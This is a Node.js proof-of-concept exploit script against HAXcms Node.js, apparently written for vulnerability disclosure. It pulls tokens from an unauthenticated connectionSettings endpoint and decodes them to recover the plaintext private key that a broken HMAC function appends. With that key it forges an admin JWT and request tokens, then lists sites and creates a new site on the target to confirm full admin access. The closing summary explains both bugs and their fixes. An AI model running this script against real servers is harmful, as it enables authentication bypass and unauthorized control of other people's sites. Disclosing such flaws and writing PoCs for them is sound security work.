1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
| #!/usr/bin/env node
/**
* PoC: HAXcms Node.js — Private Key Disclosure via Broken HMAC (CWE-321, CWE-200)
*
* Vulnerable code: haxcms-nodejs/src/lib/HAXCMS.js lines 2158-2163
*
* Usage: node poc_hmac_key_leak.js <target_url>
* Example: node poc_hmac_key_leak.js http://localhost:3000
*/
const crypto = require('crypto');
const http = require('http');
const https = require('https');
const TARGET = process.argv[2] || 'http://localhost:3000';
// ── Helper: Reproduce the VULNERABLE hmacBase64 from HAXCMS.js:2158-2163 ──
function hmacBase64_vulnerable(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest();
var buf2 = Buffer.from(key);
return Buffer.concat([buf1, buf2]).toString('base64')
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
// ── Helper: What a CORRECT hmacBase64 looks like (PHP version, HAXCMS.php:1619-1631) ──
function hmacBase64_correct(data, key) {
return crypto.createHmac("sha256", key).update(data).digest('base64')
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
// ── Helper: Extract the private key embedded inside a broken HMAC token ──
function extractKeyFromToken(token) {
const padded = token.replace(/-/g, '+').replace(/_/g, '/');
const decoded = Buffer.from(padded, 'base64');
const hmacPart = decoded.slice(0, 32); // first 32 bytes = SHA-256 digest (useless, keyed with "0")
const keyBytes = decoded.slice(32); // remaining bytes = privateKey+salt IN PLAINTEXT
return {
hmac: hmacPart.toString('hex'),
key: keyBytes.toString('utf8')
};
}
function fetch(url) {
return new Promise((resolve, reject) => {
const mod = url.startsWith('https') ? https : http;
mod.get(url, { rejectUnauthorized: false }, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => resolve(data));
}).on('error', reject);
});
}
function post(url, body) {
return new Promise((resolve, reject) => {
const parsed = new URL(url);
const mod = parsed.protocol === 'https:' ? https : http;
const postData = JSON.stringify(body);
const opts = {
hostname: parsed.hostname,
port: parsed.port,
path: parsed.pathname + parsed.search,
method: 'POST',
rejectUnauthorized: false,
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(postData)
}
};
const req = mod.request(opts, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => resolve({ status: res.statusCode, body: data }));
});
req.on('error', reject);
req.write(postData);
req.end();
});
}
// ════════════════════════════════════════════════════════════════════
// MAIN
// ════════════════════════════════════════════════════════════════════
async function main() {
console.log('');
console.log('================================================================');
console.log(' HAXcms Node.js — Private Key Disclosure via Broken HMAC');
console.log(' CWE-321 (Hard-Coded Crypto Key) + CWE-200 (Info Exposure)');
console.log(' Vulnerable file: src/lib/HAXCMS.js lines 2158-2163');
console.log('================================================================');
console.log(' Target: ' + TARGET);
console.log('================================================================\n');
// ────────────────────────────────────────────────────────────────
// STEP 1 — Fetch tokens from the UNAUTHENTICATED endpoint
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 1: Fetch /system/api/connectionSettings (NO AUTH) │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' This endpoint is publicly accessible — it is listed in the');
console.log(' JWT validation skip list at src/app.js. No cookies, no');
console.log(' headers, no authentication of any kind is required.');
console.log('');
console.log(' Request: GET ' + TARGET + '/system/api/connectionSettings');
console.log('');
const raw = await fetch(TARGET + '/system/api/connectionSettings');
// Parse — could be JS (window.appSettings = {...};) or raw JSON
let settings;
const jsMatch = raw.match(/window\.appSettings\s*=\s*(\{[\s\S]*\});/);
if (jsMatch) {
settings = JSON.parse(jsMatch[1]);
} else {
try { settings = JSON.parse(raw); } catch(e) {
console.log(' ERROR: Could not parse response.');
console.log(' Raw (first 500 chars): ' + raw.substring(0, 500));
process.exit(1);
}
}
const token = settings.token
|| settings.getFormToken
|| (settings.appStore && settings.appStore.params && settings.appStore.params.appstore_token);
if (!token) {
console.log(' ERROR: No token found in response.');
process.exit(1);
}
console.log(' Response received. Tokens found in the JSON body:');
console.log('');
console.log(' token: ' + (settings.token || 'N/A'));
console.log(' getFormToken: ' + (settings.getFormToken || 'N/A'));
if (settings.appStore && settings.appStore.params) {
console.log(' appstore_token: ' + (settings.appStore.params.appstore_token || 'N/A'));
console.log(' site_token: ' + (settings.appStore.params.site_token || 'N/A'));
}
console.log('');
console.log(' NOTE: A correctly implemented HMAC token would be ~44 chars');
console.log(' (32 bytes base64-encoded). These tokens are ' + token.length + ' chars,');
console.log(' which is the first visible indicator that extra data');
console.log(' (the private key) is embedded in the token output.');
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 2 — Extract the private key from the token
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 2: Extract the private key from the token │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' The vulnerable hmacBase64() function (HAXCMS.js:2158-2163)');
console.log(' produces tokens with this structure:');
console.log('');
console.log(' base64url( [32 bytes: HMAC-SHA256 with key "0"]');
console.log(' [N bytes: privateKey+salt PLAINTEXT] )');
console.log('');
console.log(' To extract the key, we:');
console.log(' 1. Base64-decode the token');
console.log(' 2. Discard the first 32 bytes (the useless HMAC)');
console.log(' 3. Read the remaining bytes as UTF-8 — that is the key');
console.log('');
const { hmac, key } = extractKeyFromToken(token);
if (key.length === 0) {
console.log(' Token is exactly 32 bytes — key NOT leaked.');
console.log(' This instance may be running the fixed version or PHP backend.');
process.exit(1);
}
console.log(' Token decoded (' + Buffer.from(token.replace(/-/g,'+').replace(/_/g,'/'), 'base64').length + ' bytes total):');
console.log('');
console.log(' Bytes 0-31 (HMAC digest, keyed with "0"):');
console.log(' ' + hmac);
console.log('');
console.log(' Bytes 32+ (privateKey + salt in PLAINTEXT):');
console.log(' ' + key);
console.log('');
console.log(' RESULT: Private key successfully extracted!');
console.log(' Key length: ' + key.length + ' characters');
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 3 — Verify the extracted key is correct
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 3: Verify the extracted key is correct │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' We recompute the default token using our extracted key and');
console.log(' the vulnerable hmacBase64() function, then compare it to');
console.log(' the token the server returned.');
console.log('');
const recomputed = hmacBase64_vulnerable('', key);
const serverToken = settings.token;
console.log(' Server token: ' + (serverToken || 'N/A'));
console.log(' Recomputed token: ' + recomputed);
console.log('');
if (serverToken && recomputed === serverToken) {
console.log(' MATCH — extracted key is correct.');
} else if (!serverToken) {
console.log(' (Server did not return a base "token" field; skipping comparison.)');
} else {
console.log(' WARNING: Tokens do not match — key may be partially incorrect.');
}
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 4 — Forge an admin JWT using the stolen key
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 4: Forge an admin JWT using the stolen key │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' HAXcms JWTs are signed with privateKey+salt (HAXCMS.js:2830):');
console.log(' JWT.sign(payload, this.privateKey + this.salt)');
console.log('');
console.log(' The JWT payload requires:');
console.log(' - id: hmacBase64("user", key) — the user request token');
console.log(' - user: "admin" — the username');
console.log(' - iat: current timestamp');
console.log(' - exp: expiry timestamp');
console.log('');
let jwt;
try {
jwt = require('jsonwebtoken');
} catch(e) {
console.log(' ERROR: jsonwebtoken not installed. Run: npm install jsonwebtoken');
console.log(' The key has been extracted — JWT forgery requires this module.');
console.log(' Extracted key: ' + key);
return;
}
const forgedId = hmacBase64_vulnerable('user', key);
const now = Math.floor(Date.now() / 1000);
const forgedPayload = {
id: forgedId,
user: 'admin',
iat: now,
exp: now + 900
};
console.log(' Forging JWT with payload:');
console.log(' {');
console.log(' id: "' + forgedId.substring(0, 40) + '..."');
console.log(' user: "admin"');
console.log(' iat: ' + now + ' (' + new Date(now * 1000).toISOString() + ')');
console.log(' exp: ' + (now + 900) + ' (' + new Date((now + 900) * 1000).toISOString() + ')');
console.log(' }');
console.log('');
console.log(' Signing key: ' + key);
console.log('');
const forgedJWT = jwt.sign(forgedPayload, key);
console.log(' Forged JWT:');
console.log(' ' + forgedJWT);
console.log('');
// Decode to confirm
const decoded = jwt.verify(forgedJWT, key);
console.log(' JWT signature verified locally:');
console.log(' user = ' + decoded.user);
console.log(' exp = ' + new Date(decoded.exp * 1000).toISOString());
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 5 — Forge request tokens needed by authenticated endpoints
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 5: Forge request tokens for authenticated endpoints │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' Authenticated API calls also require HMAC request tokens:');
console.log(' user_token = hmacBase64("admin", key)');
console.log(' base_token = hmacBase64("", key)');
console.log(' form_token = hmacBase64("form", key)');
console.log('');
const userToken = hmacBase64_vulnerable('admin', key);
const baseToken = hmacBase64_vulnerable('', key);
const formToken = hmacBase64_vulnerable('form', key);
console.log(' Forged tokens:');
console.log(' user_token: ' + userToken);
console.log(' base_token: ' + baseToken);
console.log(' form_token: ' + formToken);
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 6 — Call authenticated endpoint to prove admin access
// ────────────────────────────────────────────────────────────────
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 6: Call authenticated endpoint (listSites) │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' Using the forged JWT and user_token to call /system/api/listSites.');
console.log(' This endpoint requires admin authentication.');
console.log('');
const listUrl = TARGET + '/system/api/listSites?user_token=' + encodeURIComponent(userToken) + '&jwt=' + encodeURIComponent(forgedJWT);
console.log(' Request: GET ' + TARGET + '/system/api/listSites');
console.log(' ?user_token=' + userToken.substring(0, 30) + '...');
console.log(' &jwt=' + forgedJWT.substring(0, 30) + '...');
console.log('');
const listResp = await fetch(listUrl);
console.log(' Response (first 500 chars):');
console.log(' ' + listResp.substring(0, 500));
console.log('');
// ────────────────────────────────────────────────────────────────
// STEP 7 — Create a site to prove full write access
// ────────────────────────────────────────────────────────────────
const siteName = 'pwned-' + Date.now();
console.log('┌──────────────────────────────────────────────────────────────┐');
console.log('│ STEP 7: Create a site to prove full admin write access │');
console.log('└──────────────────────────────────────────────────────────────┘');
console.log('');
console.log(' Calling POST /system/api/createSite with forged credentials');
console.log(' to create site "' + siteName + '".');
console.log('');
const createUrl = TARGET + '/system/api/createSite?user_token=' + encodeURIComponent(userToken);
const createResp = await post(createUrl, {
jwt: forgedJWT,
token: baseToken,
site: { name: siteName },
theme: 'clean-one',
type: 'course'
});
console.log(' HTTP Status: ' + createResp.status);
console.log(' Response:');
console.log(' ' + createResp.body.substring(0, 500));
console.log('');
if (createResp.status === 200) {
console.log(' SITE CREATED SUCCESSFULLY — full admin access confirmed.');
console.log(' The site "' + siteName + '" now exists on disk at _sites/' + siteName + '/');
} else {
console.log(' Site creation returned status ' + createResp.status + '.');
console.log(' Check if the server is running and accessible.');
}
console.log('');
// ────────────────────────────────────────────────────────────────
// SUMMARY
// ────────────────────────────────────────────────────────────────
console.log('================================================================');
console.log(' EXPLOIT SUMMARY');
console.log('================================================================');
console.log('');
console.log(' Vulnerability: Broken HMAC in hmacBase64() — HAXCMS.js:2158-2163');
console.log('');
console.log(' Bug 1 (line 2160):');
console.log(' crypto.createHmac("sha256", "0") ← key hardcoded to "0"');
console.log(' Should be: crypto.createHmac("sha256", key)');
console.log('');
console.log(' Bug 2 (lines 2161-2163):');
console.log(' Buffer.concat([hmacDigest, Buffer.from(key)]) ← key appended');
console.log(' Should be: just return the HMAC digest, never include the key');
console.log('');
console.log(' Attack chain:');
console.log(' 1. GET /connectionSettings (no auth) → receive tokens');
console.log(' 2. Base64-decode any token → discard first 32 bytes → read key');
console.log(' 3. Use key to forge JWT (jwt.sign(payload, key))');
console.log(' 4. Use key to forge request tokens (hmacBase64(value, key))');
console.log(' 5. Call any authenticated API with forged credentials');
console.log('');
console.log(' Extracted key: ' + key);
console.log(' Forged JWT: ' + forgedJWT.substring(0, 50) + '...');
console.log(' Admin access: ' + (createResp.status === 200 ? 'CONFIRMED' : 'CHECK MANUALLY'));
console.log('');
console.log('================================================================');
}
main().catch(err => {
console.error('Error:', err.message);
process.exit(1);
});
|